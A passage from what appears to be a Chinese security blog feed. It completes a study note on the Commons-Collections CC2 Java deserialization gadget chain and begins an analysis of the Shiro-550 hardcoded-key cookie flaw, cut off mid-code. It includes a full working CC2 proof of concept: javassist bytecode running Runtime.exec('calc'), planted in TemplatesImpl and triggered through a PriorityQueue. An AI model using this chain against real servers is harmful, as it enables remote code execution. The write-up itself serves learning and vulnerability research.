<code>defineTransletClasses</code> <br> 也是一个保护类</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">private</span> <span class="keyword">void</span> <span class="title function_">defineTransletClasses</span><span class="params">()</span></span><br><span class="line"> <span class="keyword">throws</span> TransformerConfigurationException {</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (_bytecodes == <span class="literal">null</span>) {</span><br><span class="line"> <span class="type">ErrorMsg</span> <span class="variable">err</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ErrorMsg</span>(ErrorMsg.NO_TRANSLET_CLASS_ERR);</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">TransformerConfigurationException</span>(err.toString());</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="type">TransletClassLoader</span> <span class="variable">loader</span> <span class="operator">=</span> (TransletClassLoader)</span><br><span class="line"> AccessController.doPrivileged(<span class="keyword">new</span> <span class="title class_">PrivilegedAction</span>() {</span><br><span class="line"> <span class="keyword">public</span> Object <span class="title function_">run</span><span class="params">()</span> {</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">TransletClassLoader</span>(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());</span><br><span class="line"> }</span><br><span class="line"> });</span><br><span class="line"></span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> <span class="keyword">final</span> <span class="type">int</span> <span class="variable">classCount</span> <span class="operator">=</span> _bytecodes.length;</span><br><span class="line"> _class = <span class="keyword">new</span> <span class="title class_">Class</span>[classCount];</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (classCount > <span class="number">1</span>) {</span><br><span class="line"> _auxClasses = <span class="keyword">new</span> <span class="title class_">HashMap</span><>();</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i < classCount; i++) {</span><br><span class="line"> _class[i] = loader.defineClass(_bytecodes[i]);</span><br><span class="line"> <span class="keyword">final</span> <span class="type">Class</span> <span class="variable">superClass</span> <span class="operator">=</span> _class[i].getSuperclass();</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Check if this is the main class</span></span><br><span class="line"> <span class="keyword">if</span> (superClass.getName().equals(ABSTRACT_TRANSLET)) {</span><br><span class="line"> _transletIndex = i;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span> {</span><br><span class="line"> _auxClasses.put(_class[i].getName(), _class[i]);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (_transletIndex < <span class="number">0</span>) {</span><br><span class="line"> ErrorMsg err= <span class="keyword">new</span> <span class="title class_">ErrorMsg</span>(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">TransformerConfigurationException</span>(err.toString());</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">catch</span> (ClassFormatError e) {</span><br><span class="line"> <span class="type">ErrorMsg</span> <span class="variable">err</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ErrorMsg</span>(ErrorMsg.TRANSLET_CLASS_ERR, _name);</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">TransformerConfigurationException</span>(err.toString());</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">catch</span> (LinkageError e) {</span><br><span class="line"> <span class="type">ErrorMsg</span> <span class="variable">err</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ErrorMsg</span>(ErrorMsg.TRANSLET_OBJECT_ERR, _name);</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">TransformerConfigurationException</span>(err.toString());</span><br><span class="line"> }</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>接着查找,发现在 <code>getTransletInstance</code> 存在一处实例化<br><img src="https://img-blog.csdnimg.cn/84cea5503c8a4f8286cb9f056217dc9e.png" alt="在这里插入图片描述"><br>最终在 <code>newTransformer</code> 找到公共类的方法<br><img src="https://img-blog.csdnimg.cn/08c2c97693f0484d8c38ab377f5bc2c1.png" alt="在这里插入图片描述"><br>梳理一下链子</p><p><img src="https://img-blog.csdnimg.cn/34056db4d91a4782b892d1678767fbfb.png" alt="在这里插入图片描述"></p><p>当然,这里我是正向寻找的<br>如果不好理解可以看下 Y4 师傅的<a href="https://blog.csdn.net/solitudi/article/details/119082164">解析</a></p><p>个人觉得非常简洁清晰</p><p>当然在寻找过程中我们会发现 <code>getTransletInstance</code> 中实例化的对象是 <code>_class</code> 而非我们上面提到的 <code>_byte</code> ,是因为在 <code>defineTransletClasses</code> 中将 <code>_byte</code> 二维数组存放在 <code>_class</code> 字段中了<br><img src="https://img-blog.csdnimg.cn/2e9a5e5fb85b45d9bb0184b3d7aff07e.png" alt="在这里插入图片描述"><br>当然这里知识为了理解梳理了一下流程,最好还是自己跟一下源码</p><h4 id="priorityqueue"><a class="markdownIt-Anchor" href="#priorityqueue">#</a> PriorityQueue</h4><p>在 ysoserial 作者的调用栈中使用的是反序列化对象,或者说是入口是 <code>PriorityQueue</code></p><p>简单了解下<br> PriorityQueue 优先级队列是基于优先级堆的一种特殊队列,会给每个元素定义出 “优先级”,取出数据的时候会按照优先级来取。</p><p>默认优先级队列会根据自然顺序来对元素排序。</p><p>构造方法:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">PriorityQueue() </span><br><span class="line">使用默认的初始容量(<span class="number">11</span>)创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。</span><br><span class="line">PriorityQueue(<span class="type">int</span> initialCapacity)</span><br><span class="line">使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。</span><br></pre></td></tr></table></figure><p>常见方法:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">add(E e) 将指定的元素插入此优先级队列</span><br><span class="line">clear() 从此优先级队列中移除所有元素。</span><br><span class="line">comparator() 返回用来对此队列中的元素进行排序的比较器;如果此队列根据其元素的自然顺序进行排序,则返回 <span class="literal">null</span></span><br><span class="line"><span class="title function_">contains</span><span class="params">(Object o)</span> 如果此队列包含指定的元素,则返回 <span class="literal">true</span>。</span><br><span class="line">iterator() 返回在此队列中的元素上进行迭代的迭代器。</span><br><span class="line">offer(E e) 将指定的元素插入此优先级队列</span><br><span class="line">peek() 获取但不移除此队列的头;如果此队列为空,则返回 <span class="literal">null</span>。</span><br><span class="line">poll() 获取并移除此队列的头,如果此队列为空,则返回 <span class="literal">null</span>。</span><br><span class="line">remove(Object o) 从此队列中移除指定元素的单个实例(如果存在)。</span><br><span class="line">size() 返回此 collection 中的元素数。</span><br><span class="line">toArray() 返回一个包含此队列所有元素的数组。</span><br><span class="line"></span><br></pre></td></tr></table></figure><p><a href="https://www.cnblogs.com/nice0e3/p/13860621.html">参考</a></p><p>来看下反序列化<br><img src="https://img-blog.csdnimg.cn/76783d857c80433bb53abff5b7cc7adc.png" alt="在这里插入图片描述"></p><p>调用了 <code>heapify</code> <br><img src="https://img-blog.csdnimg.cn/9658fb395f1f4607afe9b4760df0e30b.png" alt="在这里插入图片描述"><br>是无符型右移位算,效果相当于除以 2。这里会把 i 和 queue [i] 传入<br>接着又调用了 <code>siftDown</code></p><p><img src="https://img-blog.csdnimg.cn/4f96b786da3e429d8e185d24defa1458.png" alt="在这里插入图片描述"><br> comparator 存在时,就会进入 siftDownUsingComparator</p><p><img src="https://img-blog.csdnimg.cn/c488b3dd0ad843138871ed2254c979f4.png" alt="在这里插入图片描述"><br>嘶,老实说跟进到这里我就卡了</p><p>后面的利用并没有找到<br>然后再回去看了下作者给的构造链发现 <code>TransformingComparator.compare()</code></p><p>回到了 cc1 经典的 <code>transform</code> <br><img src="https://img-blog.csdnimg.cn/8ca4176b844a42bd9524ce8812c0b619.png" alt="在这里插入图片描述"></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">TransformingComparator</span><I, O> <span class="keyword">implements</span> <span class="title class_">Comparator</span><I>, Serializable {</span><br><span class="line"></span><br><span class="line"> <span class="comment">/** Serialization version from Collections 4.0. */</span></span><br><span class="line"> <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">long</span> <span class="variable">serialVersionUID</span> <span class="operator">=</span> <span class="number">3456940356043606220L</span>;</span><br><span class="line"></span><br><span class="line"> <span class="comment">/** The decorated comparator. */</span></span><br><span class="line"> <span class="keyword">private</span> <span class="keyword">final</span> Comparator<O> decorated;</span><br><span class="line"> <span class="comment">/** The transformer being used. */</span></span><br><span class="line"> <span class="keyword">private</span> <span class="keyword">final</span> Transformer<? <span class="built_in">super</span> I, ? <span class="keyword">extends</span> <span class="title class_">O</span>> transformer;</span><br><span class="line"></span><br><span class="line"> <span class="comment">//-----------------------------------------------------------------------</span></span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * Constructs an instance with the given Transformer and a</span></span><br><span class="line"><span class="comment"> * {<span class="doctag">@link</span> ComparableComparator ComparableComparator}.</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> transformer what will transform the arguments to <code>compare</code></span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> <span class="meta">@SuppressWarnings("unchecked")</span></span><br><span class="line"> <span class="keyword">public</span> <span class="title function_">TransformingComparator</span><span class="params">(<span class="keyword">final</span> Transformer<? <span class="built_in">super</span> I, ? extends O> transformer)</span> {</span><br><span class="line"> <span class="built_in">this</span>(transformer, ComparatorUtils.NATURAL_COMPARATOR);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * Constructs an instance with the given Transformer and Comparator.</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> transformer what will transform the arguments to <code>compare</code></span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> decorated the decorated Comparator</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> <span class="keyword">public</span> <span class="title function_">TransformingComparator</span><span class="params">(<span class="keyword">final</span> Transformer<? <span class="built_in">super</span> I, ? extends O> transformer,</span></span><br><span class="line"><span class="params"> <span class="keyword">final</span> Comparator<O> decorated)</span> {</span><br><span class="line"> <span class="built_in">this</span>.decorated = decorated;</span><br><span class="line"> <span class="built_in">this</span>.transformer = transformer;</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p><code>TransformingComparator</code> 这里将 <code>Transformer</code> 的执行点和 <code>PriorityQueue</code> 出发点结合起来<br>值在传递到 <code>Comparator</code> 之前经过 <code>Transformer</code> 修饰</p><p>上面的 <code>siftDownUsingComparator</code> 方法会调用到 comparator 的 compare</p><p>那一切就都串起来了</p><h3 id="poc"><a class="markdownIt-Anchor" href="#poc">#</a> poc</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.test;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> javassist.ClassPool;</span><br><span class="line"><span class="keyword">import</span> javassist.CtClass;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections4.comparators.TransformingComparator;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections4.functors.InvokerTransformer;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.FileInputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.FileOutputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.ObjectInputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.ObjectOutputStream;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Field;</span><br><span class="line"><span class="keyword">import</span> java.util.PriorityQueue;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">cc2</span> {</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception {</span><br><span class="line"> String AbstractTranslet=<span class="string">"com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"</span>;</span><br><span class="line"> String TemplatesImpl=<span class="string">"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"</span>;</span><br><span class="line"></span><br><span class="line"> ClassPool classPool=ClassPool.getDefault();<span class="comment">//返回默认的类池</span></span><br><span class="line"> classPool.appendClassPath(AbstractTranslet);<span class="comment">//添加AbstractTranslet的搜索路径</span></span><br><span class="line"> CtClass payload=classPool.makeClass(<span class="string">"CommonsCollections22222222222"</span>);<span class="comment">//创建一个新的public类</span></span><br><span class="line"> payload.setSuperclass(classPool.get(AbstractTranslet)); <span class="comment">//设置前面创建的CommonsCollections22222222222类的父类为AbstractTranslet</span></span><br><span class="line"> payload.makeClassInitializer().setBody(<span class="string">"java.lang.Runtime.getRuntime().exec(\"calc\");"</span>); <span class="comment">//创建一个空的类初始化,设置构造函数主体为runtime</span></span><br><span class="line"></span><br><span class="line"> <span class="type">byte</span>[] bytes=payload.toBytecode();<span class="comment">//转换为byte数组</span></span><br><span class="line"></span><br><span class="line"> Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(<span class="keyword">new</span> <span class="title class_">Class</span>[]{}).newInstance();<span class="comment">//反射创建TemplatesImpl</span></span><br><span class="line"> Field field=templatesImpl.getClass().getDeclaredField(<span class="string">"_bytecodes"</span>);<span class="comment">//反射获取templatesImpl的_bytecodes字段</span></span><br><span class="line"> field.setAccessible(<span class="literal">true</span>);<span class="comment">//暴力反射</span></span><br><span class="line"> field.set(templatesImpl,<span class="keyword">new</span> <span class="title class_">byte</span>[][]{bytes});<span class="comment">//将templatesImpl上的_bytecodes字段设置为runtime的byte数组</span></span><br><span class="line"></span><br><span class="line"> Field field1=templatesImpl.getClass().getDeclaredField(<span class="string">"_name"</span>);<span class="comment">//反射获取templatesImpl的_name字段</span></span><br><span class="line"> field1.setAccessible(<span class="literal">true</span>);<span class="comment">//暴力反射</span></span><br><span class="line"> field1.set(templatesImpl,<span class="string">"test"</span>);<span class="comment">//将templatesImpl上的_name字段设置为test</span></span><br><span class="line"></span><br><span class="line"> InvokerTransformer transformer=<span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">"newTransformer"</span>,<span class="keyword">new</span> <span class="title class_">Class</span>[]{},<span class="keyword">new</span> <span class="title class_">Object</span>[]{});</span><br><span class="line"> <span class="type">TransformingComparator</span> <span class="variable">comparator</span> <span class="operator">=</span><span class="keyword">new</span> <span class="title class_">TransformingComparator</span>(transformer);<span class="comment">//使用TransformingComparator修饰器传入transformer对象</span></span><br><span class="line"> <span class="type">PriorityQueue</span> <span class="variable">queue</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">PriorityQueue</span>(<span class="number">2</span>);<span class="comment">//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。</span></span><br><span class="line"> queue.add(<span class="number">1</span>);<span class="comment">//添加数字1插入此优先级队列</span></span><br><span class="line"> queue.add(<span class="number">1</span>);<span class="comment">//添加数字1插入此优先级队列</span></span><br><span class="line"></span><br><span class="line"> Field field2=queue.getClass().getDeclaredField(<span class="string">"comparator"</span>);<span class="comment">//获取PriorityQueue的comparator字段</span></span><br><span class="line"> field2.setAccessible(<span class="literal">true</span>);<span class="comment">//暴力反射</span></span><br><span class="line"> field2.set(queue,comparator);<span class="comment">//设置queue的comparator字段值为comparator</span></span><br><span class="line"></span><br><span class="line"> Field field3=queue.getClass().getDeclaredField(<span class="string">"queue"</span>);<span class="comment">//获取queue的queue字段</span></span><br><span class="line"> field3.setAccessible(<span class="literal">true</span>);<span class="comment">//暴力反射</span></span><br><span class="line"> field3.set(queue,<span class="keyword">new</span> <span class="title class_">Object</span>[]{templatesImpl,templatesImpl});<span class="comment">//设置queue的queue字段内容Object数组,内容为templatesImpl</span></span><br><span class="line"></span><br><span class="line"> <span class="type">ObjectOutputStream</span> <span class="variable">outputStream</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectOutputStream</span>(<span class="keyword">new</span> <span class="title class_">FileOutputStream</span>(<span class="string">"test.out"</span>));</span><br><span class="line"> outputStream.writeObject(queue);</span><br><span class="line"> outputStream.close();</span><br><span class="line"></span><br><span class="line"> ObjectInputStream inputStream=<span class="keyword">new</span> <span class="title class_">ObjectInputStream</span>(<span class="keyword">new</span> <span class="title class_">FileInputStream</span>(<span class="string">"test.out"</span>));</span><br><span class="line"> inputStream.readObject();</span><br><span class="line"></span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>poc 这里就不做分析了<br>主要是自己学了好一会才弄懂<br>并不能保证所有代码完全吃透<br>所以就不在各位师傅面前班门弄斧</p><h3 id="流程图"><a class="markdownIt-Anchor" href="#流程图">#</a> 流程图</h3><p>最后的最后<br>自己也画一下找了好半天的链子的过程<br>可以更清晰的看到链子的过程</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/12775cf1c6eb4bb7ae63bae4c5c58d7b.png" alt="在这里插入图片描述"></p><p>整体来说,感觉 cc2 不是很难 (感觉比 cc1 简单<br>可能是之前学过的基础在这里体现作用了<br>但还是有很多不足<br>加油吧<br>入门还有一大段距离呢</p>]]></content>
<tags>
<tag> 代码审计 </tag>
<tag> Java安全 </tag>
</tags>
</entry>
<entry>
<title>shiro550反序列化漏洞</title>
<link href="/2022/08/01/shiro550%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/"/>
<url>/2022/08/01/shiro550%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/</url>
<content type="html"><![CDATA[<h3 id="前言"><a class="markdownIt-Anchor" href="#前言">#</a> 前言</h3><p>很久以前的洞<br>这次来写一下是复习一下之前的笔记<br>也为了后面的无依赖链和 cc 链以及 <code>TemplatesImpl</code> 做铺垫</p><h3 id="分析"><a class="markdownIt-Anchor" href="#分析">#</a> 分析</h3><p>首先是要知道这个漏洞的大致流程<br>就是关于 cookie 的加密方式是 AES 这种对称的加密<br>其中秘钥是写在框架代码中的,也就是硬编码<br>这就是漏洞产生的原因</p><p>首先就是 <code>getRememberedSerializedIdentity</code></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">protected</span> <span class="type">byte</span>[] getRememberedSerializedIdentity(SubjectContext subjectContext) {</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (!WebUtils.isHttp(subjectContext)) {</span><br><span class="line"> <span class="keyword">if</span> (log.isDebugEnabled()) {</span><br><span class="line"> <span class="type">String</span> <span class="variable">msg</span> <span class="operator">=</span> <span class="string">"SubjectContext argument is not an HTTP-aware instance. This is required to obtain a "</span> +</span><br><span class="line"> <span class="string">"servlet request and response in order to retrieve the rememberMe cookie. Returning "</span> +</span><br><span class="line"> <span class="string">"immediately and ignoring rememberMe operation."</span>;</span><br><span class="line"> log.debug(msg);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="type">WebSubjectContext</span> <span class="variable">wsc</span> <span class="operator">=</span> (WebSubjectContext) subjectContext;</span><br><span class="line"> <span class="keyword">if</span> (isIdentityRemoved(wsc)) {</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="type">HttpServletRequest</span> <span class="variable">request</span> <span class="operator">=</span> WebUtils.getHttpRequest(wsc);</span><br><span class="line"> <span class="type">HttpServletResponse</span> <span class="variable">response</span> <span class="operator">=</span> WebUtils.getHttpResponse(wsc);</span><br><span class="line"></span><br><span class="line"> <span class="type">String</span> <span class="variable">base64</span> <span class="operator">=</span> getCookie().readValue(request, response);</span><br><span class="line"> <span class="comment">// Browsers do not always remove cookies immediately (SHIRO-183)</span></span><br><span class="line"> <span class="comment">// ignore cookies that are scheduled for removal</span></span><br><span class="line"> <span class="keyword">if</span> (Cookie.DELETED_COOKIE_VALUE.equals(base64)) {</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (base64 != <span class="literal">null</span>) {</span><br><span class="line"> base64 = ensurePadding(base64);</span><br><span class="line"> <span class="keyword">if</span> (log.isTraceEnabled()) {</span><br><span class="line"> log.trace(<span class="string">"Acquired Base64 encoded identity ["</span> + base64 + <span class="string">"]"</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="type">byte</span>[] decoded = Base64.decode(base64);</span><br><span class="line"> <span class="keyword">if</span> (log.isTraceEnabled()) {</span><br><span class="line"> log.trace(<span class="string">"Base64 decoded byte array length: "</span> + (decoded != <span class="literal">null</span> ? decoded.length : <span class="number">0</span>) + <span class="string">" bytes."</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> decoded;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="comment">//no cookie set - new site visitor?</span></span><br><span class="line"> <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>从函数名可以看出这是获取 cookie 并进行处理的类,首先就是获取参数,就是 cookie,然后再 base64 解码,返回结果</p><p>发现在 <code>getRememberedPrincipals</code> 处调用了该函数</p><p><img src="https://img-blog.csdnimg.cn/d97cab0d5707400d8ab12880ce1e4902.png" alt="在这里插入图片描述"><br>并调用了 <code>convertBytesToPrincipals</code> 来进行处理数据</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> (bytes != <span class="literal">null</span> && bytes.length > <span class="number">0</span>) {</span><br><span class="line"> principals = convertBytesToPrincipals(bytes, subjectContext);</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>再来看下 convertBytesToPrincipals 的功能</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">protected</span> PrincipalCollection <span class="title function_">convertBytesToPrincipals</span><span class="params">(<span class="type">byte</span>[] bytes, SubjectContext subjectContext)</span> {</span><br><span class="line"> <span class="keyword">if</span> (getCipherService() != <span class="literal">null</span>) {</span><br><span class="line"> bytes = decrypt(bytes);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> deserialize(bytes);</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>很明显是实现了对数据的解密,然后再反序列化</p><p>这里先来看下解密函数的实现</p><p>先在接口处看下参数<br><img src="https://img-blog.csdnimg.cn/8428b338418741d598492388aa9da88d.png" alt="在这里插入图片描述"><br>第一个参数是解密的字段,第二个参数是解密的 key,也就是秘钥<br>正是我们前面提到的对称的加密方式 AES</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> ByteSource <span class="title function_">decrypt</span><span class="params">(<span class="type">byte</span>[] ciphertext, <span class="type">byte</span>[] key)</span> <span class="keyword">throws</span> CryptoException {</span><br><span class="line"></span><br><span class="line"> <span class="type">byte</span>[] encrypted = ciphertext;</span><br><span class="line"></span><br><span class="line"> <span class="comment">//No IV, check if we need to read the IV from the stream:</span></span><br><span class="line"> <span class="type">byte</span>[] iv = <span class="literal">null</span>;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (isGenerateInitializationVectors(<span class="literal">false</span>)) {</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> <span class="comment">//We are generating IVs, so the ciphertext argument array is not actually 100% cipher text. Instead, it</span></span><br><span class="line"> <span class="comment">//is:</span></span><br><span class="line"> <span class="comment">// - the first N bytes is the initialization vector, where N equals the value of the</span></span><br><span 